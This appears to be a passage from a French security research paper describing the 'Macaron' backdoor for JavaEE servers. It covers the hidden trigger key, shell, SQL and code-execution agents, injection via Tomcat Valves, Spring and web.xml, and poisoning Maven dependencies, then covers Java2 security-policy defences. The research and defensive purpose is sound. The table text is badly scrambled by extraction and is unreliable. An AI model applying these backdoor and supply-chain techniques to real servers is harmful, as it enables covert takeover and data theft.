La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

